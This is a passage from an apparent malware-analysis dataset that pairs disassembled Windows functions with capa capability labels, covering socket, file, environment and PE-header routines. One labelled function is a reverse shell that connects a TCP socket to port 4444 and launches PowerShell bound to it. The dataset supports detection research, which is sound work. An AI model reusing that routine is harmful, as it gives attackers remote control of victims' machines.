joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003e630
Capabilities:
Write file on windows

Disassembly:
test rcx, rcx
je 0x14003e70d
mov rax, rsp
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rdi
sub rsp, 0x850
cmp byte [rcx + 0x448], 0
mov rdi, rcx
je 0x14003e705
mov r8, rdx
lea r9, [rax + 0x18]
lea rcx, [rsp + 0x30]
mov edx, 0x801
mov qword [rax - 0x10], rbx
call fcn.140050470
lea rax, [rsp + 0x30]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x14003e683
mov r10, qword [rdi + 0x258]
test r10, r10
je 0x14003e6c5
mov rax, qword [rdi + 0x1a8]
lea r8, [rsp + 0x30]
mov r9, rbx
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call r10
mov rbx, qword [rsp + 0x848]
add rsp, 0x850
pop rdi
ret
mov r9, qword [rdi + 0x1a0]
mov edx, 2
lea rcx, [0x140072fc8]
lea r8d, [rdx - 1]
call qword [sym.imp.msvcrt.dll_fwrite]
mov r9, qword [rdi + 0x1a0]
lea rcx, [rsp + 0x30]
mov r8d, 1
mov rdx, rbx
call qword [sym.imp.msvcrt.dll_fwrite]
mov rbx, qword [rsp + 0x848]
add rsp, 0x850
pop rdi
ret

Function at 0x14003e860
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WSOCK32.DLL_recv]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
jne 0x14003e89b
call qword [sym.imp.WSOCK32.DLL_WSAGetLastError]
mov ecx, 0x38
mov edx, 0x51
cmp eax, 0x2733
cmove ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x14003e960
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
movsxd rax, edx
mov r10, r9
mov r11, r8
mov rdi, rcx
mov rcx, qword [rcx + rax*8 + 0x1a8]
xor r9d, r9d
mov r8d, r10d
mov rdx, r11
call qword [sym.imp.WSOCK32.DLL_send]
mov r14, qword [rsp + 0x50]
movsxd rsi, eax
mov dword [r14], 0
cmp rsi, 0xffffffffffffffff
jne 0x14003ea0c
mov qword [rsp + 0x30], rbx
call qword [sym.imp.WSOCK32.DLL_WSAGetLastError]
mov ebx, eax
cmp eax, 0x2733
jne 0x14003e9db
mov dword [r14], 0x51
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov edx, eax
mov rcx, rdi
call fcn.140055d90
mov rcx, qword [rdi]
lea rdx, str.Send_failure:__s
mov r8, rax
call fcn.14003e500
mov rcx, qword [rdi]
mov rax, rsi
mov dword [rcx + 0x8804], ebx
mov dword [r14], 0x37
jmp 0x14003e9c5
mov rdi, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x14003ed90
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov r10, qword [rcx + 0x258]
mov rdi, r9
mov rsi, r8
mov rbx, rcx
test r10, r10
je 0x14003edd3
mov rax, qword [rcx + 0x1a8]
mov qword [rsp + 0x20], rax
call r10
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp edx, 2
ja 0x14003ee18
mov r9, qword [rbx + 0x1a0]
movsxd rax, edx
mov edx, 2
lea rcx, [rax + rax*2]
lea rax, [0x140072fc8]
lea r8d, [rdx - 1]
add rcx, rax
call qword [sym.imp.msvcrt.dll_fwrite]
mov r9, qword [rbx + 0x1a0]
mov r8d, 1
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.msvcrt.dll_fwrite]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
xor eax, eax
add rsp, 0x30
pop rdi
ret

Function at 0x140041dd0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rbx, qword [rcx + 0x798]
mov rsi, rdx
mov rdi, rcx
test rbx, rbx
je 0x140041e3d
mov rax, qword [rcx + 0x80]
test rax, rax
jne 0x140041e03
cmp qword [rcx + 0x78], rax
je 0x140041e3d
mov qword [rsp + 0x20], rbx
mov byte [rsp + 0x28], 0
test rax, rax
jne 0x140041e16
mov rax, qword [rcx + 0x78]
mov rcx, qword [rax + 0x60]
lea r8, [0x140042d50]
lea rdx, [rsp + 0x20]
call fcn.14004ac50
cmp byte [rsp + 0x28], 0
jne 0x140041e51
mov qword [rdi + 0x798], 0
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
test rsi, rsi
je 0x140041e59
mov qword [rsi], rbx
cmp byte [rbx + 0x1f0], 0
mov rdi, qword [rbx + 0x1a8]
je 0x140041e77
mov rcx, rbx
call fcn.14003d340
test eax, eax
jne 0x140041e93
jmp 0x140041e3d
mov r9d, 2
lea rdx, [rsp + 0x40]
mov rcx, rdi
lea r8d, [r9 - 1]
call qword [sym.imp.WSOCK32.DLL_recv]
test eax, eax
je 0x140041e3d
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rax, rdi
add rsp, 0x30
pop rdi
ret

Function at 0x140042400
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0xd0
mov dword [rax + 0x18], 0x4020
mov dword [rax + 0x10], 0
mov dword [rax + 0x20], 4
mov eax, dword [0x1401766a0]
mov rbx, rcx
test eax, eax
jne 0x140042495
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x9c
call sub.msvcrt.dll_memset
mov r8b, 3
mov edx, 2
xor ecx, ecx
mov dword [rsp + 0x30], 0x9c
mov dword [rsp + 0x34], 6
call qword [sym.imp.KERNEL32.dll_VerSetConditionMask]
lea rcx, [rsp + 0x30]
mov edx, 2
mov r8, rax
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
test eax, eax
je 0x140042489
mov dword [0x1401766a0], 2
add rsp, 0xd0
pop rbx
ret
mov dword [0x1401766a0], 1
jmp 0x14004249a
cmp eax, 2
je 0x1400424fb
lea rax, [rsp + 0xf8]
lea r9, [rsp + 0xe8]
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.WSOCK32.DLL_getsockopt]
test eax, eax
jne 0x1400424d7
mov eax, dword [rsp + 0xf0]
cmp dword [rsp + 0xe8], eax
jg 0x1400424fb
lea r9, [rsp + 0xf0]
mov edx, 0xffff
mov r8d, 0x1001
mov rcx, rbx
mov dword [rsp + 0x20], 4
call qword [sym.imp.WSOCK32.DLL_setsockopt]
add rsp, 0xd0
pop rbx
ret
Function at 0x1400426d0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x120
cmp dword [rcx + 0xa4], 2
mov rsi, qword [rcx]
mov rbx, rdx
mov rdi, rcx
je 0x140042882
cmp byte [rcx + 0x329], 0
jne 0x14004287a
lea r8, [rax + 8]
lea rdx, [rax - 0x88]
mov rcx, rbx
mov dword [rax + 8], pe_nt_image_headers64
call qword [sym.imp.WSOCK32.DLL_getpeername]
test eax, eax
je 0x140042751
call qword [sym.imp.WSOCK32.DLL_WSAGetLastError]
mov rcx, rdi
mov edx, eax
mov ebx, eax
call fcn.140055d90
lea rdx, str.getpeername___failed_with_errno__d:__s
mov r8d, ebx
mov r9, rax
mov rcx, rsi
call fcn.14003e500
jmp 0x140042882
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, pe_nt_image_headers64
mov dword [rsp + 0x130], pe_nt_image_headers64
call sub.msvcrt.dll_memset
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.WSOCK32.DLL_getsockname]
test eax, eax
je 0x1400427b4
call qword [sym.imp.WSOCK32.DLL_WSAGetLastError]
mov rcx, rdi
mov edx, eax
mov ebx, eax
call fcn.140055d90
lea rdx, str.getsockname___failed_with_errno__d:__s
mov r8d, ebx
mov r9, rax
mov rcx, rsi
call fcn.14003e500
jmp 0x140042882
lea rbx, [rdi + 0xf0]
lea r8, [rdi + 0x120]
lea rcx, [rsp + 0xa0]
mov rdx, rbx
call fcn.140042d70
test al, al
jne 0x140042802
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov edx, eax
mov ebx, eax
call fcn.140055d90
lea rdx, str.ssrem_inet_ntop___failed_with_errno__d:__s
mov r8d, ebx
mov r9, rax
mov rcx, rsi
call fcn.14003e500
jmp 0x140042882
movups xmm0, xmmword [rbx]
mov eax, dword [rbx + 0x28]
movups xmm1, xmmword [rbx + 0x10]
lea r8, [rdi + 0x154]
lea rdx, [rdi + 0x124]
lea rcx, [rsp + 0x20]
movups xmmword [rdi + 0x70], xmm0
movsd xmm0, qword [rbx + 0x20]
movups xmmword [rdi + 0x80], xmm1
movsd qword [rdi + 0x90], xmm0
mov dword [rdi + 0x98], eax
movzx eax, word [rbx + 0x2c]
mov word [rdi + 0x9c], ax
call fcn.140042d70
test al, al
jne 0x14004287a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov edx, eax
mov ebx, eax
call fcn.140055d90
lea rdx, str.ssloc_inet_ntop___failed_with_errno__d:__s
mov r8d, ebx
mov r9, rax
mov rcx, rsi
call fcn.14003e500
jmp 0x140042882
mov rcx, rdi
call fcn.140042340
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140043150
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
xor esi, esi
mov rdi, rdx
mov rbx, rcx
mov eax, esi
lea r9, [rsp + 0x70]
lea r8d, [rsi + 8]
cmp byte [rcx + 0x61c], al
mov edx, 0xffff
mov rcx, rdi
setne al
mov dword [rsp + 0x20], 4
mov dword [rsp + 0x70], eax
call qword [sym.imp.WSOCK32.DLL_setsockopt]
test eax, eax
jns 0x1400431be
lea rdx, str.Failed_to_set_SO_KEEPALIVE_on_fd__d_n
mov r8, rdi
mov rcx, rbx
call fcn.14003e630
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
ret
mov ecx, dword [rbx + 0x620]
mov dword [rsp + 0x50], 1
call fcn.14004f440
imul ecx, eax, 0x3e8
mov dword [rsp + 0x70], ecx
mov dword [rsp + 0x54], ecx
mov ecx, dword [rbx + 0x624]
call fcn.14004f440
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
lea r8, [rsp + 0x50]
mov r9d, 0xc
mov edx, 0x98000004
imul ecx, eax, 0x3e8
lea rax, [rsp + 0x80]
mov dword [rsp + 0x70], ecx
mov dword [rsp + 0x58], ecx
mov qword [rsp + 0x30], rax
mov rcx, rdi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WS2_32.DLL_WSAIoctl]
test eax, eax
je 0x140043250
call qword [sym.imp.WSOCK32.DLL_WSAGetLastError]
lea rdx, str.Failed_to_set_SIO_KEEPALIVE_VALS_on_fd__d:__d_n
mov r8d, edi
mov r9d, eax
mov rcx, rbx
call fcn.14003e630
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
ret

Function at 0x140043270
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rbx, qword [rcx]
mov r10, rdx
mov edx, 6
movzx eax, byte [rbx + 0x45e]
mov rdi, rcx
lea r9, [rsp + 0x40]
lea r8d, [rdx - 5]
mov rcx, r10
mov dword [rsp + 0x20], 4
mov dword [rsp + 0x40], eax
call qword [sym.imp.WSOCK32.DLL_setsockopt]
test eax, eax
jns 0x1400432de
call qword [sym.imp.WSOCK32.DLL_WSAGetLastError]
mov rcx, rdi
mov edx, eax
call fcn.140055d90
lea rdx, str.Could_not_set_TCP_NODELAY:__s_n
mov rcx, rbx
mov r8, rax
call fcn.14003e630
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
lea rdx, str.TCP_NODELAY_set_n
mov rcx, rbx
call fcn.14003e630
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x14005e320
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
cmp dword [0x140176730], 0
mov r14, rdx
mov r15, rcx
lea rbx, [0x140176740]
jne 0x14005e36d
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov rcx, rbx
mov dword [0x140176768], eax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x140176730], 1
mov ecx, dword [0x140176768]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbp, rax
test rax, rax
jne 0x14005e442
mov rcx, qword [0x140175600]
lea edx, [rax + 8]
lea r8d, [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x14005e46d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x140176738]
test rax, rax
je 0x14005e3bd
mov qword [rax], rbp
mov rcx, rbx
mov qword [rbp + 8], rax
mov qword [0x140176738], rbp
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
lea r9, [rbp + 0x20]
mov r8, rdi
mov rcx, rax
mov rdx, rbx
mov dword [rsp + 0x20], 0x100000
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x18]
lea r8, [0x14005e488]
mov r9, rbp
mov dword [rsp + 0x28], 8
or dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
mov ecx, dword [0x140176768]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rcx, qword [0x140175600]
xor edx, edx
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14005e46d
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov qword [rbp + 0x10], rax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x140479a60
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140d21200]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140479a80
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140479a88
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140479a80
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140479ad5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140479acc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140479a80
add rax, 0x28
cmp rax, r9
jne 0x140479ab8
xor eax, eax
ret

Function at 0x140479ae0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140d21200]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140479b00
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140479b08
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140479b00
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140479b90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140d21200]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140479bb0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140479bb8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rcx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rcx, rcx
jne 0x1400010c9
mov rcx, qword [rbx]
mov rax, qword [str.java]
test rax, rax
jne 0x1400010d8
mov rax, qword [rbx]
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 1
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rax, [0x140002250]
lea r9, str._J_ms8m
mov r8d, 3
mov qword [rsp + 0x38], rax
lea rax, [0x140002240]
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, str._lib_tools.jar
mov ecx, edi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 2
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x1400010f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create process suspended
Create tcp socket
Initialize winsock library
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov ecx, 0x202
lea rdx, [0x14001bc80]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
mov ebx, 2
mov dword [rsp + 0x28], edi
mov ecx, ebx
xor r9d, r9d
mov dword [rsp + 0x20], edi
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov ecx, 0x115c
mov word [0x14001be88], bx
mov qword [0x14001bc78], rax
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x14001be8a], ax
call section..text
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htonl]
mov rcx, qword [0x14001bc78]
lea rdx, [0x14001be88]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov qword [rsp + 0x28], rdi
mov r8d, 0x10
mov dword [0x14001be8c], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rax, qword [0x14001bc78]
lea rdx, [rsp + 0x50]
movups xmm1, xmmword [0x140017880]
mov qword [0x14001be80], rax
xor r9d, r9d
xorps xmm0, xmm0
xor r8d, r8d
movups xmmword [0x14001be70], xmm0
mov qword [0x14001be78], rax
xor ecx, ecx
movups xmmword [0x14001be20], xmm0
mov qword [0x14001be70], rax
lea rax, [0x14001bc60]
mov qword [rsp + 0x48], rax
lea rax, [0x14001be20]
mov qword [rsp + 0x40], rax
movups xmmword [0x14001be50], xmm0
mov qword [rsp + 0x38], rdi
movups xmmword [0x14001be30], xmm0
mov qword [rsp + 0x30], rdi
movups xmmword [0x14001be40], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [0x14001be60], xmm0
mov dword [rsp + 0x20], 1
movups xmm0, xmmword [str.powershell.exe___NoExit]
mov dword [0x14001be20], 0x68
mov dword [0x14001be5c], 0x100
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140017890]
movups xmmword [rsp + 0x60], xmm1
movups xmmword [rsp + 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x140001c7c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cc6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cc6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cc6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cc6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cc6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cc8
xor al, al
add rsp, 0x28
ret
Function at 0x140005338
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400053a7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400053a7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400053a7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400053a7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400053a7
cmp dword [rcx + 0x84], 0xe
jbe 0x1400053a7
cmp dword [rcx + 0xf8], 0
je 0x1400053a7
mov ecx, ebx
call fcn.140005458
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005234
nop
cmp dword [rbp + 0x20], 0
je 0x1400053f5
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005400
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140005338

Function at 0x14000553c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005338
Function at 0x1400085fc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000862c
xor eax, eax
jmp 0x1400086ef
mov rbp, rbx
cmp word [rax], si
je 0x140008651
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008638
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008634
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000851c
movsxd r14, eax
test eax, eax
jne 0x14000868f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140008625
mov rcx, r14
call fcn.1400094d8
mov rdi, rax
test rax, rax
jne 0x1400086a8
xor ecx, ecx
call fcn.140006b7c
jmp 0x140008684
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000851c
test eax, eax
jne 0x1400086d9
mov rcx, rdi
call fcn.140006b7c
jmp 0x1400086e3
xor ecx, ecx
call fcn.140006b7c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000bbe0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400075ec
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000bc6a
cmp byte [rbp - 0x21], r15b
je 0x14000bc65
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000bca0
call fcn.140009ce8
test eax, eax
jne 0x14000bc8c
cmp byte [rbp - 0x21], r15b
je 0x14000bc84
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000bca0
cmp byte [rbp - 0x21], r15b
je 0x14000bc9d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140006bcc
test eax, eax
jne 0x14000bd40
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400075ec
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000bcdf
cmp byte [rbp - 0x21], r15b
je 0x14000bd14
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000bd14
call fcn.140009ce8
test eax, eax
jne 0x14000bd00
cmp byte [rbp - 0x21], r15b
je 0x14000bcf9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000bd14
cmp byte [rbp - 0x21], r15b
je 0x14000bd11
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140006bcc
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000bd40
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000bd43
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000bd51
mov rcx, rdi
call fcn.140006b7c
cmp byte [rbp + 0x3f], r15b
je 0x14000bd60
mov rcx, qword [rbp + 0x27]
call fcn.140006b7c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14000eb90
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000ebb8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000ebb8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
